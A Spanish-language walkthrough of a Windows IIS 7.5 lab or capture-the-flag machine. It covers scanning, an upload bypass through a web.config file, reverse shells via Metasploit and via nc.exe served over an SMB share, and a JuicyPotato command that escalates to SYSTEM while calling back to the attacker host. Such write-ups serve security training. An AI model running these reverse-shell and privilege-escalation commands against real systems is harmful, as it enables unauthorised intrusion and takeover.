Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-19 14:03 EDT
Nmap scan report for 192.168.28.4
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:7D:13:F9 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
|_clock-skew: -2s
| smb2-time:
| date: 2025-03-19T18:04:32
|_ start_date: 2025-03-19T17:50:15
|_nbstat: NetBIOS name: WIN-4QU3QNHNK7E, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:7d:13:f9 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.21 seconds
Vemos bastantes cosas interesantes, de primeras si entramos en el puerto 80 veremos una pagina alojada en IIS7 sin ninguna pagina como tal alojada, esta por defecto, por lo que no veremos mucho:
Tambien vemos un SMB, pero vemos que es un SMBv2 por lo que no tiene la vulnerabilidad del EternalBlue, pero si intentamos enumerar los recursos compartidos del servidor mediante el SMB pero veremos que no nos muestra nada por lo menos de forma anonima, por lo que vamos a realizar un poco de fuzzing hacia el servidor ISS7.
Vemos varias rutas, pero entre ellas la que nos interesa es la del 200 OK que es el archivo llamado /zoc.aspx, si entramos en el veremos lo siguiente:
Vemos que podemos subir un archivo, por lo que vamos a intentar subir un .aspx de forma que se pueda ejecutar codigo remoto hacia el servidor con una interfaz en el archivo para que se vea todas las salidas de comandos de forma comoda y de ahi poder entrar a la maquina con una reverse shell.
Pero si intentamos subir el archivo nos dara error ya que esta validando el tipo de archivo que se esta subiendo, pero si inspeccionamos la pagina veremos el siguiente comentario:
<!-- /Subiditosdetono -->
Si entramos en el como directorio web, veremos lo siguiente:
Vemos que hay un archivo web.config que si entramos veremos que nos da un error ya que el archivo no esta, pero podemos crear un archivo llamado asi y meter la configuracion para que podamos ejecutar comandos de forma remota.
Tras investigar mucho encontre en la pagina de HackTricks un ejemplo de web.config que contiene lo siguiente:
Si vamos a donde tenemos la escucha de metasploit veremos lo siguiente:
[*] Started reverse TCP handler on 192.168.28.5:7777
[*] Powershell session session 1 opened (192.168.28.5:7777 -> 192.168.28.4:49160) at 2025-03-20 11:13:00 -0400
PS > whoami
win-4qu3qnhnk7e\info
Opcion 2 (Reverse Shell SMB) RECOMENDADO!!
Tambien podemos generarnos una reverse shell mediante un servidor de SMB abierto desde nuestro host, para que desde el web.config ejecutar un comando para ejecutar un nc.exe desde nuestro servidor de SMB.
Primero tendremos que copiarnos el ejecutable nc.exe a nuestro directorio actual.
cp /usr/share/windows-binaries/nc.exe .
Una vez copiado nuestro binario de netcat vamos abrirnos el servidor de SMB:
impacket-smbserver -smb2support kali .
Info:
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
Ahora desde la pagina de web.config ejecutaremos lo siguiente:
Con esto lo que haremos sera conectarnos a nuestro servidor de SMB para ejecutar el binario nc.exe y seguidamente estamos estableciendo una conexion a dicho puerto e IP.
Antes de enviarlo nos tendremos que poner a la escucha de la siguiente forma:
nc -lvnp <PORT>
Ahora si enviamos ese payload en el web.config y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.28.5] from (UNKNOWN) [192.168.28.4] 49160
Microsoft Windows [Versi�n 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
c:\windows\system32\inetsrv> whoami
win-4qu3qnhnk7e\info
Veremos que ha funcionado por lo que leeremos la flag del usuario.
user.txt
uigsg5sdfdfbv5b6sad98vcdf
Escalate Privileges
Vamos a ver que privilegios tenemos:
whoami /priv
Info:
INFORMACI?N DE PRIVILEGIOS
--------------------------
Nombre de privilegio Descripci?n Estado
============================= ============================================ =============
SeChangeNotifyPrivilege Omitir comprobaci?n de recorrido Habilitada
SeImpersonatePrivilege Suplantar a un cliente tras la autenticaci?n Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado
Vemos que SeImpersonatePrivilege esta habilitado.
Es muy similar a SeImpersonatePrivilege, utilizará el mismo método para obtener un token privilegiado. Luego, este privilegio permite asignar un token primario a un proceso nuevo/suspendido. Con el token de suplantación privilegiado puedes derivar un token primario (DuplicateTokenEx). Con el token, puedes crear un nuevo proceso con 'CreateProcessAsUser' o crear un proceso suspendido y establecer el token (en general, no puedes modificar el token primario de un proceso en ejecución).
JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/C \\192.168.28.5\kali\nc.exe -e cmd.exe 192.168.28.5 5555" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
COM -> recv failed with error: 10038
Vemos que nos esta dando un error relacionado con las CLSIDs por lo que vamos a utilizar otras genericas que suelen funcionar en un Windows Server 2008:
Con esto veremos que ha funcionado, por lo que si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 5555 ...
connect to [192.168.28.5] from (UNKNOWN) [192.168.28.4] 49178
Microsoft Windows [Versi�n 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
C:\Windows\system32>whoami
nt authority\system
Vemos que seremos ya nt authority\system por lo que habremos terminado la maquina, ahora leeremos la flag del administrador.